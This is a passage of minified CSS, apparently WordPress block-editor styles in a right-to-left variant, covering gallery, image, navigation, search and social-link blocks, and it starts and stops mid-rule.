.7em;color:#fff;text-align:center;font-size:.8em;background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);box-sizing:border-box;margin:0}.blocks-gallery-grid .blocks-gallery-image figcaption img,.blocks-gallery-grid .blocks-gallery-item figcaption img,.wp-block-gallery .blocks-gallery-image figcaption img,.wp-block-gallery .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid figcaption,.wp-block-gallery figcaption{flex-grow:1}.blocks-gallery-grid.is-cropped .blocks-gallery-image a,.blocks-gallery-grid.is-cropped .blocks-gallery-image img,.blocks-gallery-grid.is-cropped .blocks-gallery-item a,.blocks-gallery-grid.is-cropped .blocks-gallery-item img,.wp-block-gallery.is-cropped .blocks-gallery-image a,.wp-block-gallery.is-cropped .blocks-gallery-image img,.wp-block-gallery.is-cropped .blocks-gallery-item a,.wp-block-gallery.is-cropped .blocks-gallery-item img{width:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.blocks-gallery-grid.is-cropped .blocks-gallery-image a,.blocks-gallery-grid.is-cropped .blocks-gallery-image img,.blocks-gallery-grid.is-cropped .blocks-gallery-item a,.blocks-gallery-grid.is-cropped .blocks-gallery-item img,.wp-block-gallery.is-cropped .blocks-gallery-image a,.wp-block-gallery.is-cropped .blocks-gallery-image img,.wp-block-gallery.is-cropped .blocks-gallery-item a,.wp-block-gallery.is-cropped .blocks-gallery-item img{height:100%;flex:1;-o-object-fit:cover;object-fit:cover}}.blocks-gallery-grid.columns-1 .blocks-gallery-image,.blocks-gallery-grid.columns-1 .blocks-gallery-item,.wp-block-gallery.columns-1 .blocks-gallery-image,.wp-block-gallery.columns-1 .blocks-gallery-item{width:100%;margin-left:0}@media (min-width:600px){.blocks-gallery-grid.columns-3 .blocks-gallery-image,.blocks-gallery-grid.columns-3 .blocks-gallery-item,.wp-block-gallery.columns-3 .blocks-gallery-image,.wp-block-gallery.columns-3 .blocks-gallery-item{width:calc(33.33333% - .66667em);margin-left:1em}.blocks-gallery-grid.columns-4 .blocks-gallery-image,.blocks-gallery-grid.columns-4 .blocks-gallery-item,.wp-block-gallery.columns-4 .blocks-gallery-image,.wp-block-gallery.columns-4 .blocks-gallery-item{width:calc(25% - .75em);margin-left:1em}.blocks-gallery-grid.columns-5 .blocks-gallery-image,.blocks-gallery-grid.columns-5 .blocks-gallery-item,.wp-block-gallery.columns-5 .blocks-gallery-image,.wp-block-gallery.columns-5 .blocks-gallery-item{width:calc(20% - .8em);margin-left:1em}.blocks-gallery-grid.columns-6 .blocks-gallery-image,.blocks-gallery-grid.columns-6 .blocks-gallery-item,.wp-block-gallery.columns-6 .blocks-gallery-image,.wp-block-gallery.columns-6 .blocks-gallery-item{width:calc(16.66667% - .83333em);margin-left:1em}.blocks-gallery-grid.columns-7 .blocks-gallery-image,.blocks-gallery-grid.columns-7 .blocks-gallery-item,.wp-block-gallery.columns-7 .blocks-gallery-image,.wp-block-gallery.columns-7 .blocks-gallery-item{width:calc(14.28571% - .85714em);margin-left:1em}.blocks-gallery-grid.columns-8 .blocks-gallery-image,.blocks-gallery-grid.columns-8 .blocks-gallery-item,.wp-block-gallery.columns-8 .blocks-gallery-image,.wp-block-gallery.columns-8 .blocks-gallery-item{width:calc(12.5% - .875em);margin-left:1em}.blocks-gallery-grid.columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid.columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid.columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid.columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid.columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid.columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid.columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid.columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid.columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid.columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid.columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid.columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid.columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid.columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid.columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid.columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery.columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery.columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery.columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery.columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery.columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery.columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery.columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery.columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery.columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery.columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery.columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery.columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery.columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery.columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery.columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery.columns-8 .blocks-gallery-item:nth-of-type(8n){margin-left:0}}.blocks-gallery-grid .blocks-gallery-image:last-child,.blocks-gallery-grid .blocks-gallery-item:last-child,.wp-block-gallery .blocks-gallery-image:last-child,.wp-block-gallery .blocks-gallery-item:last-child{margin-left:0}.blocks-gallery-grid.alignleft,.blocks-gallery-grid.alignright,.wp-block-gallery.alignleft,.wp-block-gallery.alignright{max-width:420px;width:100%}.blocks-gallery-grid.aligncenter .blocks-gallery-item figure,.wp-block-gallery.aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-group{box-sizing:border-box}h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}.wp-block-image{margin-bottom:1em}.wp-block-image img{max-width:100%}.wp-block-image:not(.is-style-rounded) img{border-radius:inherit}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption{display:table-caption;caption-side:bottom}.wp-block-image .alignleft{float:left;margin-left:1em;margin-top:.5em;margin-bottom:.5em}.wp-block-image .alignright{float:right;margin-right:1em;margin-top:.5em;margin-bottom:.5em}.wp-block-image .aligncenter{margin-right:auto;margin-left:auto}.wp-block-image figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{-webkit-mask-image:url('data:image/svg+xml;utf8,');mask-image:url('data:image/svg+xml;utf8,');mask-mode:alpha;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;-webkit-mask-position:center;mask-position:center;border-radius:0}}.wp-block-latest-comments__comment{line-height:1.1;list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{min-height:2.25em;list-style:none}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-right:3.25em}.has-dates .wp-block-latest-comments__comment,.has-excerpts .wp-block-latest-comments__comment{line-height:1.5}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;line-height:1.8;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;width:2.5em}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 0 1.25em 1.25em;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-left:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-left:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-left:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-left:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-left:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;color:#555;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-top:.5em;margin-bottom:1em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;width:auto}.wp-block-latest-posts__featured-image.alignleft{margin-right:1em}.wp-block-latest-posts__featured-image.alignright{margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}.block-editor-image-alignment-control__row .components-base-control__field{display:flex;justify-content:space-between;align-items:center}.block-editor-image-alignment-control__row .components-base-control__field .components-base-control__label{margin-bottom:0}ol.has-background,ul.has-background{padding:1.25em 2.375em}.wp-block-media-text{direction:ltr;display:-ms-grid;display:grid;-ms-grid-columns:50% 1fr;grid-template-columns:50% 1fr;-ms-grid-rows:auto;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{-ms-grid-columns:1fr 50%;grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{-ms-grid-row-align:start;align-self:start}.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media,.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media{-ms-grid-row-align:center;align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{-ms-grid-row-align:end;align-self:end}.wp-block-media-text .wp-block-media-text__media{-ms-grid-column:1;grid-column:1;-ms-grid-row:1;grid-row:1;margin:0}.wp-block-media-text .wp-block-media-text__content{direction:rtl;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media,.wp-block-media-text .wp-block-media-text__content{-ms-grid-column:2;grid-column:2;-ms-grid-row:1;grid-row:1}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{-ms-grid-column:1;grid-column:1;-ms-grid-row:1;grid-row:1}.wp-block-media-text__media img,.wp-block-media-text__media video{max-width:unset;width:100%;vertical-align:middle}.wp-block-media-text.is-image-fill .wp-block-media-text__media{height:100%;min-height:250px;background-size:cover}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{-ms-grid-columns:100%!important;grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{-ms-grid-column:1;grid-column:1;-ms-grid-row:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{-ms-grid-column:1;grid-column:1;-ms-grid-row:2;grid-row:2}}.wp-block-navigation:not(.has-background) .wp-block-navigation__container .wp-block-navigation__container{color:#1e1e1e;background-color:#fff;min-width:200px}.items-justified-left>ul{justify-content:flex-start}.items-justified-center>ul{justify-content:center}.items-justified-right>ul{justify-content:flex-end}.items-justified-space-between>ul{justify-content:space-between}.wp-block-navigation-link{display:flex;align-items:center;position:relative;margin:0}.wp-block-navigation-link .wp-block-navigation__container:empty{display:none}.wp-block-navigation__container{list-style:none;margin:0;padding-right:0;display:flex;flex-wrap:wrap}.is-vertical .wp-block-navigation__container{display:block}.has-child>.wp-block-navigation-link__content{padding-left:.5em}.has-child .wp-block-navigation__container{border:1px solid rgba(0,0,0,.15);background-color:inherit;color:inherit;position:absolute;right:0;top:100%;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;z-index:2;opacity:0;transition:opacity .1s linear;visibility:hidden}.has-child .wp-block-navigation__container>.wp-block-navigation-link>.wp-block-navigation-link__content{flex-grow:1}.has-child .wp-block-navigation__container>.wp-block-navigation-link>.wp-block-navigation-link__submenu-icon{padding-left:.5em}@media (min-width:782px){.has-child .wp-block-navigation__container{right:1.5em}.has-child .wp-block-navigation__container .wp-block-navigation__container{right:100%;top:-1px}.has-child .wp-block-navigation__container .wp-block-navigation__container:before{content:"";position:absolute;left:100%;height:100%;display:block;width:.5em;background:transparent}.has-child .wp-block-navigation__container .wp-block-navigation-link__submenu-icon svg{transform:rotate(0)}}.has-child:hover{cursor:pointer}.has-child:hover>.wp-block-navigation__container{visibility:visible;opacity:1;display:flex;flex-direction:column}.has-child:focus-within{cursor:pointer}.has-child:focus-within>.wp-block-navigation__container{visibility:visible;opacity:1;display:flex;flex-direction:column}.wp-block-navigation[style*=text-decoration] .wp-block-navigation-link,.wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content,.wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content:active,.wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content:focus,.wp-block-navigation[style*=text-decoration] .wp-block-navigation__container{text-decoration:inherit}.wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content,.wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content:active,.wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content:focus{text-decoration:none}.wp-block-navigation-link__content{color:inherit;padding:.5em 1em}.wp-block-navigation-link__content+.wp-block-navigation-link__content{padding-top:0}.has-text-color .wp-block-navigation-link__content{color:inherit}.wp-block-navigation-link__label{word-break:normal;overflow-wrap:break-word}.wp-block-navigation-link__submenu-icon{height:inherit;padding:.375em 0 .375em 1em}.wp-block-navigation-link__submenu-icon svg{fill:currentColor}@media (min-width:782px){.wp-block-navigation-link__submenu-icon svg{transform:rotate(-90deg)}}.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:right;font-size:8.4em;line-height:.68;font-weight:100;margin:.05em 0 0 .1em;text-transform:uppercase;font-style:normal}p.has-background{padding:1.25em 2.375em}p.has-text-color a{color:inherit}.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{width:100%;margin-top:0;margin-bottom:0;font-size:.5em}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{margin-bottom:.7em;font-size:.7em}.wp-block-post-author__content{flex-grow:1;flex-basis:0}.wp-block-post-author__name{font-weight:700;margin:0}.wp-block-post-comments-form input[type=submit]{color:#fff;background-color:#32373c;border:none;border-radius:1.55em;box-shadow:none;cursor:pointer;display:inline-block;font-size:1.125em;padding:.667em 1.333em;text-align:center;text-decoration:none;overflow-wrap:break-word}.wp-block-post-comments-form input[type=submit]:active,.wp-block-post-comments-form input[type=submit]:focus,.wp-block-post-comments-form input[type=submit]:hover,.wp-block-post-comments-form input[type=submit]:visited{color:#fff}.wp-block-preformatted{white-space:pre-wrap}.wp-block-pullquote{padding:3em 0;margin-right:0;margin-left:0;text-align:center}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote.alignleft p,.wp-block-pullquote.alignright p{font-size:1.25em}.wp-block-pullquote p{font-size:1.75em;line-height:1.6}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}.wp-block-pullquote:not(.is-style-solid-color){background:none}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-right:auto;margin-left:auto;text-align:right;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{margin-top:0;margin-bottom:0;font-size:2em}.wp-block-pullquote.is-style-solid-color blockquote cite{text-transform:none;font-style:normal}.wp-block-pullquote cite{color:inherit}.wp-block-query-loop{max-width:100%;list-style:none;padding:0}.wp-block-query-loop li{clear:both}.wp-block-query-loop.is-flex-container{flex-direction:row;display:flex;flex-wrap:wrap}.wp-block-query-loop.is-flex-container li{margin:0 0 1.25em;width:100%}@media (min-width:600px){.wp-block-query-loop.is-flex-container li{margin-left:1.25em}.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li:nth-child(2n){margin-left:0}.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li:nth-child(3n){margin-left:0}.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li:nth-child(4n){margin-left:0}.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li:nth-child(5n){margin-left:0}.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li:nth-child(6n){margin-left:0}}.wp-block-query-pagination{display:flex;flex-direction:row;flex-wrap:wrap}.wp-block-query-pagination>.wp-block-query-pagination-next,.wp-block-query-pagination>.wp-block-query-pagination-numbers,.wp-block-query-pagination>.wp-block-query-pagination-previous{display:inline-block;margin-right:.5em;margin-bottom:.5em}.wp-block-query-pagination>.wp-block-query-pagination-next:last-child,.wp-block-query-pagination>.wp-block-query-pagination-numbers:last-child,.wp-block-query-pagination>.wp-block-query-pagination-previous:last-child{margin-right:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large{margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large p,.wp-block-quote.is-style-large p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large cite,.wp-block-quote.is-large footer,.wp-block-quote.is-style-large cite,.wp-block-quote.is-style-large footer{font-size:1.125em;text-align:left}.wp-block-rss.wp-block-rss{box-sizing:border-box}.wp-block-rss.alignleft{margin-right:2em}.wp-block-rss.alignright{margin-left:2em}.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0;list-style:none}.wp-block-rss.is-grid li{margin:0 0 1em 1em;width:100%}@media (min-width:600px){.wp-block-rss.columns-2 li{width:calc(50% - 1em)}.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}.wp-block-rss.columns-4 li{width:calc(25% - 1em)}.wp-block-rss.columns-5 li{width:calc(20% - 1em)}.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;color:#555;font-size:.8125em}.wp-block-search .wp-block-search__button{background:#f7f7f7;border:1px solid #ccc;padding:.375em .625em;color:#32373c;margin-right:.625em;word-break:normal}.wp-block-search .wp-block-search__button.has-icon{line-height:0}.wp-block-search .wp-block-search__button svg{min-width:1.5em;min-height:1.5em}.wp-block-search .wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search .wp-block-search__label{width:100%}.wp-block-search .wp-block-search__input{flex-grow:1;min-width:3em;border:1px solid #949494}.wp-block-search.wp-block-search__button-only .wp-block-search__button{margin-right:0}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper{padding:4px;border:1px solid #949494}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input{border-radius:0;border:none;padding:0 .25em 0 0}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input:focus{outline:none}.wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button{padding:.125em .5em}.wp-block-separator.is-style-wide{border-bottom-width:1px}.wp-block-separator.is-style-dots{background:none!important;border:none;text-align:center;max-width:none;line-height:1;height:auto}.wp-block-separator.is-style-dots:before{content:"···";color:currentColor;font-size:1.5em;letter-spacing:2em;padding-left:2em;font-family:serif}.wp-block-custom-logo{line-height:0}.wp-block-custom-logo .aligncenter{display:table}.wp-block-custom-logo.is-style-rounded img{border-radius:9999px}.wp-block-social-links{display:flex;flex-wrap:wrap;justify-content:flex-start;padding-right:0;padding-left:0;text-indent:0;margin-right:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{text-decoration:none;border-bottom:0;box-shadow:none}.wp-block-social-links .wp-social-link.wp-social-link.wp-social-link{margin:4px 0 4px 8px}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{width:1em;height:1em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{justify-content:center;display:flex}.wp-block-social-links.alignright{justify-content:flex-end}.wp-social-link{display:block;border-radius:9999px;transition:transform .1s ease;height:auto}@media (prefers-reduced-motion:reduce){.wp-social-link{transition-duration:0s}}.wp-social-link a{display:block;line-height:0;transition:transform .1s ease}.wp-social-link a,.wp-social-link a:active,.wp-social-link a:hover,.wp-social-link a:visited,.wp-social-link svg{color:currentColor;fill:currentColor}.wp-social-link:hover{transform:scale(1.1)}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#ff424d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#fe4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none;padding:4px}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#ff424d}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#fe4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{color:#fff;stroke:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link 